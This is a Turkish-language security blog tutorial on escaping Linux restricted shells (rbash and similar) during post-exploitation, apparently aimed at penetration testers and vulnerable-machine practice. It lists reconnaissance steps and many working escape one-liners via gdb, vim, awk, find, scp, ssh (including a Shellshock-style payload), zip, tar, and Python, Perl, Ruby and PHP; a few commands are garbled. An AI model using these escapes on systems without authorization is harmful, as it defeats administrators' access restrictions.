Linux Restricted Shell Atlatma Teknikleri

Yayınlayan
Hüseyin Orçun KARATAŞ
Yayınlanma tarihi
26-02-2022
Okuma süresi
15 DK

Linux Restricted Shell Atlatma Teknikleri

Zafiyetli makineleri çözerken sıkça karşılaşılan bir konu olan restricted shell yani “Kısıtlı Kabuk” post exploitation aşamasında  karşımıza çıkan ve sistem içerisinde gerekli komutları çalıştıramadığımız bir tür kabuktur. Sistemin güvenliğini arttırmak için alınan bir önlemdir, kabuğa bir katman daha oluşturur. Bu gün kısıtlı kabuğun nasıl atlatılabileceğinden bahsedeceğiz.

1. KISITLI KABUK NEDİR?

Kısıtlı Kabuk “Linux Restricted Shell” adından da anlaşılabileceği üzere bash kabuğunun yani terminalin kısıtlanmış halidir. Bash kabuğuna ek bir güvenlik katmanı daha oluşturur. Komutların dışında başka kısıtlama işlemleri de gerçekleştirebilir.

Birçok farklı kısıtlı kabuk “Restricted Shell” tipi vardır. Bu tiplerden bazılarını bypass etmek kolay olsa da yöneticinin yapılandırmış olduğu kabuk tiplerini atlatmak daha zordur.  Yapılandırılabilir Kısıtlı Kabuk “Restricted Shell” i özellikle yöneticiler tarafından “hardening” tabirini kullandığımız sıkılaştırma işleminden sonra atlatmak çok daha zordur. Bu tarz kabuk tiplerinin atlatma yöntemi,  genelde yöneticilerin yanlış yapılandırma yapmaları, zafiyete sebebiyet verebilecek komutlara kısıtlı kabuk üzerinde izin verilmesi ile atlatma gerçekleştirilebilir.

Bazı kabuk tiplerine örnek verecek olursak;

  1. Rbash
  2. Rzsh
  3. Rksh

Atlatma tekniklerine geçmeden önce yukarıdaki kısıtlı kabukların ne olduğuna ve aralarındaki farklara bakalım, Rbash’i yukarıda anlattığım için onu eklemeyeceğim, sunumun devamı rbash üzerinden gidecek.

Rzsh (Restricted Z Shell)

Zsh, etkileşimli bir giriş kabuğu ve bir kabuk betiği komut işlemcisi olarak kullanılabilen bir UNIX komut yorumlayıcısıdır (kabuk). Standart kabuklar arasında, zsh en çok ksh kabuğuna benzer, ancak farklılık olarak pek çok geliştirme içerir. Z kabuğu olarak bilinmektedir.

Diğer kabuklarda olduğu gibi başında  -r ifadesi var ise kabuk kısıtlanmış demektir.

Rksh (Restricted Korn shell)

Kısıtlı Korn Kabuğu, çalıştırılacak bir komutun bir kabuk prosedürü olduğunu belirlerse, komutu çalıştırmak için Korn kabuğunu kullanır. Bu şekilde, sınırlı bir komut menüsü uygularken Korn kabuğunun tüm gücüne erişen bir kabuk kullanıcısı için kabuk prosedürleri sağlamak mümkündür. Bu durum, kullanıcının aynı dizinde yazma ve yürütme izinlerine sahip olmadığını varsayar

Diğer kabuklarda olduğu gibi başında  -r ifadesi var ise kabuk kısıtlanmış demektir.

Artık Restricted Shell ile gelen kısıtlamalara geçebiliriz.

2. KISITLI KABUK İLE GELEN KISITLAMALAR
  1. cd komutu
  2. Değişken değerlerini değiştirme ($SHELL, $PATH, ENV)
  3. ” / ”(eğik çizgi) argümanının kullanımı ve dosya belirtme.
  4. “_” argümanını kullanma
  5. Yönlendirme argümanlarının yasaklanması “>,<, >>, >|, >&, &>,<>”
  6. Kabuğu başka bir komutla değiştirmek için exec komutunu kullanma.
  7. Komutları etkinleştirmek için -f ve -d seçenekleriyle ekleme veya silme.
  8. Devre dışı bırakılmış kabuk yerleşiklerini etkinleştirmek için enable komutunu kullanma.
  9. Programlama dillerini ve programları engelleme.

Yukarıdan anlaşılabileceği üzere yalnızca mutlak çok kısıtlı komutları kullanarak işlem yapılabilir. Kısıtlı işlemlere ek manuel olarak kısıtlama yapılabilir.

3. KISITLI KABUK TARAMA VE KEŞİF AŞAMASI

Kısıtlı kabuğa giriş yapıldıktan sonra tarama ve keşif işlemlerini gerçekleştirmek oldukça önemlidir. Kısıtlı kabuğu etki çapını ve sistemde kurulu olan uygulama ve programlama dillerinden neleri kısıtladığını tespit etmek oldukça önemlidir.  Örneğin kısıtlı kabuğun perl programlama dilini kısıtlamaması halinde kısıtlı kabuğu bypass etmemiz mümkündür.

Bu tarz atlatmaların vahşi dünyada genelde kısıtlı kabuğu oluşturan sistem yöneticilerinin gerekli güvenlik bilgisini bilmemeleri veya kısıtlı kabuğa giriş yapacak olan personelin kısıtlı kabuğu tehlikeye atacak programlar ile çalışmak zorunda olması gibi kullanıcı tarafında bilmeden oluşturulan zafiyetler örnek verilebilir.

İçeriye ilk adımı attığınızda “env” komutunu çalıştırmayı deneyin böylelikle hangi kabuğu çalıştırdığınızı, PATH değişkeninizin nereye işaret ettiği gibi önemli bilgileri almış olacaksınız. Aşağıda görüldüğü üzere kabuğumuz /bin/bash olarak gözükmekte.

Linux-Restricted-Shell-Atlatma-1

4. TARAMA VE KEŞİF LİSTESİ
  1. Hangi kabukta olduğumuzun kontrolü sağlanmalı ($SHELL)
  2. Kabuk üzerinde kullanabildiğimiz komutların tespiti ve listelenmesi
  3. Argümanların kontrol edilmesi (>,<, /, |, <<, >>,)
  4. Sistemdeki programlama dillerinin kontrolü
  5. Root haklarında komut çalıştırabiliyormuyuz tespiti için (sudo -l)
  6. Çevresel değişkenlerin kontrolü. (env ve printenv çalıştırılması)
  7. cp komutunun kontrol edilmesi.
  8. vim ve vi editörün kontrol edilmesi.
  9. 9.awk komutunun kontrol edilmesi.
  10. Find komutunun kontrol edilmesi.
  11. SUID izinli dosyaları veya komutları kontrol edilmesi.
  12. Rvim editörün kontrol edilmesi.
  13. scp komutunun kontrol edilmesi.
  14. gdb’nin kontrol edilmesi.
  15. ftp komutunun kontrol edilmesi.
5. KISITLI KABUK ATLATMA TEKNİKLERİ

Bu kısımda anlatılan teknikler için tarama ve keşif aşaması oldukça önemlidir.

1. “/” Eğik Çizgi Argümanı Kullanarak Atlatmak

/bin/sh veya /bin/bash komutunu deneyerek atlatabilirsiniz.

2. Gdb Kullanarak Atlatmak

!/bin/sh veya  !/bin/bash komutu ile atlatmak mümkündür.

Linux-Restricted-Shell-Atlatma-2

Yukarıda görüldüğü üzere tekrardan bash kabuğuna düştük.

3. Awk Kullanarak Atlatmak

awk 'BEGIN {system("/bin/sh or /bin/bash")}'

4. FTP Kullanarak Atlatmak

!/bin/sh veya !/bin/bash

5. more/man/less Kullanarak Atlatmak

Yukarıdaki komutların üçünde de aynı şekilde kısıtlı kabuğu atlatmak mümkündür.

!/bin/sh veya !/bin/bash

6. Vim Kullanarak Atlatmak

!/bin/sh veya  !/bin/bash

7.Rvim Kullanarak Atlatmak

:python import os; os.system("/bin/bash )

8.Find Komutu İle Atlatmak

find / -name test -exec /bin/shor /bin/bash \;

9. Scp ile Atlatmak

SCP ( Secure Copy – Güvenli Kopyalama ) anlamına gelmektedir. SCP komutu ile güvenli dosya gönderim işlemi yapılabilir. Bağlantı sırasında SCP aracı SSH kullandığı için dosya transferi güvenlidir ağ tarafında mitm saldırıları yapılamaz. SCP kullanımının detayına başka bir makalede değineceğim şimdilik bu bilgiler ve temel kullanım detayı ışığında kısıtlı kabuğu atlatalım.

Scp aracı yukarıdaki yöntemlerden daha karışık olduğu için anlatmak istedim. Kullanımı ise aşağıdaki gibidir.

Aşağıdaki komut ile hedef sistemde home dizinine  id.sh dosyasını gönderir.

rbash# scp id.sh [email protected]:/home/

Aşağıdaki komut ile  home dizinindeki id.sh dosyasını çekebiliriz.

rbash# scp [email protected]:/home/id.sh  .

Kısıtlı kabuğu atlatmak için kullanacağımız 2 farklı parametre var bu parametreleri anlattıktan sonra artık atlatma tekniğini anlatabiliriz.

-F: Ssh için alternatif bir, kullanıcı başına yapılandırma dosyası belirtir. Yani cat komutu yerine  -F parametresi ile işlem yapabiliriz.

Linux-Restricted-Shell-Atlatma-3

Yukarıda görüldüğü üzere scp ile passwd dosyamızı okumayı başardık.

-S: Şifreli bağlantı için kullanılacak programı belirterek işlem yapılabilir.  Bu parametreyi programları çalıştırmak için kullanabiliriz.

Linux-Restricted-Shell-Atlatma-4

Yukarıda görüldüğü üzere echo komutunu çalıştırabildik.

Şimdi hem dosya alışverişi yapabiliyoruz hem de bu dosyaları hem okuyabiliyor ve çalıştırabiliyoruz. Artık atlatma işlemlerine geçebiliriz.

Linux-Restricted-Shell-Atlatma-5

Kendi makinemiz üzerinde oluşturduğumuz basit bir scripti hedef makineye scp kullanarak gönderebiliriz.

Linux-Restricted-Shell-Atlatma-6

Hedef makineye gönderdiğimiz scripti scp ile çalıştırdığımızda id bilgisine ulaşabiliyoruz. Bu tip scriptler ve scp kullanarak kısıtlı kabuğu atlatabiliriz.

10. Kullanıcı Bilgileri İle Kısıtlı Kabuğu Atlatmak

Hedef sistem üzerinde ilerlerken, belirli bir kullanıcının kimlik bilgilerini ele geçirebiliriz, bu kullanıcıya geçiş yaparak kısıtlı kabuktan kurtulabiliriz ancak onunda kısıtlı kabuk içerisindeki bir kullanıcı olabileceği ve şuan ki kısıtlı kabuğunuz içerisinde “su” gibi komutların engellenmiş olması yüksek ihtimaldir. Bunu aşmanın yollarından birisi ise yine bir önceki maddede yer alan scp kullanımı ile basit bir script yazmaktır.

su user -c "/bin/bash -i" veya su user –c Eğer başarıyla kullanıcıya geçiş yaparsanız aşağıdaki komut ile hangi kabukta olduğunuzu kontrol etmelisiniz. echo $0

11. SSH Kullanarak Kısıtlı Kabuğu Atlatmak

ssh kullanıcıadı@IP -t "/bin/sh" veya "/bin/bash"

ssh [email protected] -t "bash --noprofile"

[email protected] -t "() { :; }; /bin/bash"

12. GİT Kullanarak Kısıtlı Kabuğu Atlatmak

Git help status komutu ile git status içerisine  !/bin/bash yazmamız yeterlidir kısıtlı kabuğu atlatmış olacağız. Aşağıda daha detaylı bir biçimde görülmektedir.

inux-Restricted-Shell-Atlatma-2

!/bin/bash komutunu verdikten sonra bash kabuğuna atmaktadır. Aşağıda görüldüğü üzere git status’e girdikten sonra komutu verdiğimizde bizi bash kabuğuna attı.

Linux-Restricted-Shell-Atlatma-8

13. Zip Kullanarak Kısıtlı Kabuğu Atlatmak

zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c/bin/bash"

14. Tar Kullanarak Kısıtlı Kabuğu Atlatmak

tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/bash

6. PROGRAMLAMA DİLLERİ İLE KISITLI KABUĞU ATLATMAK
1. Python Kullanarak Kısıtlı Kabuğu Atlatmak

python -c "import pty;pty.spawn('/bin/bash')"

2. Perl Kullanarak Kısıtlı Kabuğu Atlatmak

perl -e 'exec "/bin/bash";'

3. Ruby Kullanarak Kısıtlı Kabuğu Atlatmak

ruby -e 'exec "/bin/bash";'  

4. PHP Kullanarak Kısıtlı Kabuğu Atlatmak

php -r "system('/bin/bash');"  

5. Lua Kullanarak Kısıtlı Kabuğu Atlatmak

os.execute('/bin/sh').

6. Except Kullanarak Kısıtlı Kabuğu Atlatmak

except spawn sh then sh.

Yukarıdaki programlama dillerini kullanırken  on-liner olarak kullanıyoruz yani tek satırda işlemimizi gerçekleştiriyoruz.

Hüseyin Orçun KARATAŞ

Diğer Blog Yazıları_

Sosyal Medya Kullanımının Riskleri
Sosyal Medya Kullanımının Riskleri
Infraskope Server ve Özellikleri
Infraskope Server ve Özellikleri
Kritik Sunucular Üzerindeki Aktivitelerin Loglanması
Kritik Sunucular Üzerindeki Aktivitelerin Loglanması
Kurumlarda Ağ Güvenlik Stratejileri
Kurumlarda Ağ Güvenlik Stratejileri
WPA-WPA2 Güvenlik Standartlarına Yönelik Saldırı: KRACK (KEY-REINSTALLATION-ATTACK)
WPA-WPA2 Güvenlik Standartlarına Yönelik Saldırı: KRACK (KEY-REINSTALLATION-ATTACK)
Log Yönetiminde Ajanlı/Ajansız Çözümler
Log Yönetiminde Ajanlı/Ajansız Çözümler
Herkesin aklındaki soru: Yapay Zeka Nedir?
Herkesin aklındaki soru: Yapay Zeka Nedir?
Discovery of DLL Hijack on Trend Micro AntiVirus+ | CVE-2018-18333
Discovery of DLL Hijack on Trend Micro AntiVirus+ | CVE-2018-18333
Web Cache Poisoning
Web Cache Poisoning
XML EXTERNAL ENTITY INJECTION AND OOB (OUT-OF-BAND) DATA RETRIEVAL
XML EXTERNAL ENTITY INJECTION AND OOB (OUT-OF-BAND) DATA RETRIEVAL
ARP Poisoning
ARP Poisoning
Cross-Site Request Forgery (CSRF) Zafiyeti
Cross-Site Request Forgery (CSRF) Zafiyeti
SSRF (Server Side Request Forgery)
SSRF (Server Side Request Forgery)
BlueBorne
BlueBorne
Server Side Template Injection Nedir?
Server Side Template Injection Nedir?
Linux Restricted Shell Atlatma Teknikleri
Linux Restricted Shell Atlatma Teknikleri
Discovery of Sandbox Escape on Comodo Container(Antivirus&amp;Firewall)
Discovery of Sandbox Escape on Comodo Container(Antivirus&Firewall)
SDR-Sharp Kullanımı
SDR-Sharp Kullanımı
Log Yönetimi | Log Management | Veritabanı Log | Siem
Log Yönetimi | Log Management | Veritabanı Log | Siem
Cyber Kill Chain, Bir Siber Saldırının Yaşam Döngüsü
Cyber Kill Chain, Bir Siber Saldırının Yaşam Döngüsü
Phishing Nedir?
Phishing Nedir?
“GOLD” Affix Phishing Attack
“GOLD” Affix Phishing Attack
Sızma Testi ve Ödül Avcılığı Hizmetleri
Sızma Testi ve Ödül Avcılığı Hizmetleri
Güvenilir Olarak CAPTCHA Yapılandırılması
Güvenilir Olarak CAPTCHA Yapılandırılması
Basit Kriptolojiden Günümüze Evrilişi
Basit Kriptolojiden Günümüze Evrilişi
Dosya Sistem Analizinin Önemi
Dosya Sistem Analizinin Önemi
HTTP Request Smuggling (HTTP İstek Kaçakcılığı) Nedir?
HTTP Request Smuggling (HTTP İstek Kaçakcılığı) Nedir?
KVKK Kapsamında Veri Keşfi Maskeleme ve Şifreleme
KVKK Kapsamında Veri Keşfi Maskeleme ve Şifreleme
Sosyal Medya Kullanımının Riskleri
Sosyal Medya Kullanımının Riskleri
Sızma (Penetrasyon) Testi Nedir?
Sızma (Penetrasyon) Testi Nedir?
Start Up Kültürü
Start Up Kültürü
Sigma Kuralları ile SIEM Ürünlerinde Tehdit Avı
Sigma Kuralları ile SIEM Ürünlerinde Tehdit Avı
Kritik Altyapılar ve SCADA Güvenliği
Kritik Altyapılar ve SCADA Güvenliği
Zararlı Yazılım Analiz Teknikleri
Zararlı Yazılım Analiz Teknikleri
Uzaktan Çalışma Modellerinde Siber Güvenlik Riskleri
Uzaktan Çalışma Modellerinde Siber Güvenlik Riskleri
Pandemi Sürecinde Siber Güvenlik Riskleri
Pandemi Sürecinde Siber Güvenlik Riskleri
SOC Nedir ve SOC Merkezleri Nasıl Çalışır?
SOC Nedir ve SOC Merkezleri Nasıl Çalışır?
PHISHING Hakkında Her şey
PHISHING Hakkında Her şey
Sosyal Mühendislik Nedir?
Sosyal Mühendislik Nedir?
Siber Hijyen
Siber Hijyen
Adli Bilişim (Digital Forensic) Nedir?
Adli Bilişim (Digital Forensic) Nedir?
DHCP Spoofing Saldırısı Nedir, Nasıl Yapılır?
DHCP Spoofing Saldırısı Nedir, Nasıl Yapılır?
FAIL2BAN İLE SSH BRUTE FORCE SALDIRILARINI ÖNLEME
FAIL2BAN İLE SSH BRUTE FORCE SALDIRILARINI ÖNLEME
BULK EXTRACTOR ARACIYLA DİSK İNCELEME
BULK EXTRACTOR ARACIYLA DİSK İNCELEME
SolarWinds Vaka Analizi
SolarWinds Vaka Analizi
Frida ile SSL Pinning Bypass
Frida ile SSL Pinning Bypass
COOKİE Nedir? Nasıl Çalışır?
COOKİE Nedir? Nasıl Çalışır?
Bilgi Güvenliği Test ve Değerlendirmeleri Teknik Kılavuzu
Bilgi Güvenliği Test ve Değerlendirmeleri Teknik Kılavuzu
Dridex Bankacılık Trojanı Teknik Analiz Raporu (TR)
Dridex Bankacılık Trojanı Teknik Analiz Raporu (TR)
Adwind Rat Technical Analysis Report (ENG)
Adwind Rat Technical Analysis Report (ENG)
SOC Nedir, Firmalar İçin Neden Önemlidir?
SOC Nedir, Firmalar İçin Neden Önemlidir?
Blockchain Nedir?
Blockchain Nedir?
İşlemcilerin Koruma Mekanizması ve Koruma Mekanizmasının Atlatılması
İşlemcilerin Koruma Mekanizması ve Koruma Mekanizmasının Atlatılması
Active Directory Güvenlik İpuçları
Active Directory Güvenlik İpuçları
Nisan 2022 Siber Güvenlik Bülteni
Nisan 2022 Siber Güvenlik Bülteni
Mavi Takım Üyeleri İçin Windows Core Process
Mavi Takım Üyeleri İçin Windows Core Process
Kişiler İçin Bilgi Güvenliği Rehberi
Kişiler İçin Bilgi Güvenliği Rehberi
DDoS Nedir?
DDoS Nedir?
C Dilinde Dosya Yönlendirmeleri (IO Redirection)
C Dilinde Dosya Yönlendirmeleri (IO Redirection)
Microsoft Teams — Cross Site Scripting (XSS) Bypass CSP Report
Microsoft Teams — Cross Site Scripting (XSS) Bypass CSP Report
Siber İstihbarat ve Siber Tehdit İstihbaratı
Siber İstihbarat ve Siber Tehdit İstihbaratı
JWT Saldırıları
JWT Saldırıları
CVE-2022–36446 — Webmin 1.996 — Remote Code Execution (RCE — Authenticated) During Install New Packages
CVE-2022–36446 — Webmin 1.996 — Remote Code Execution (RCE — Authenticated) During Install New Packages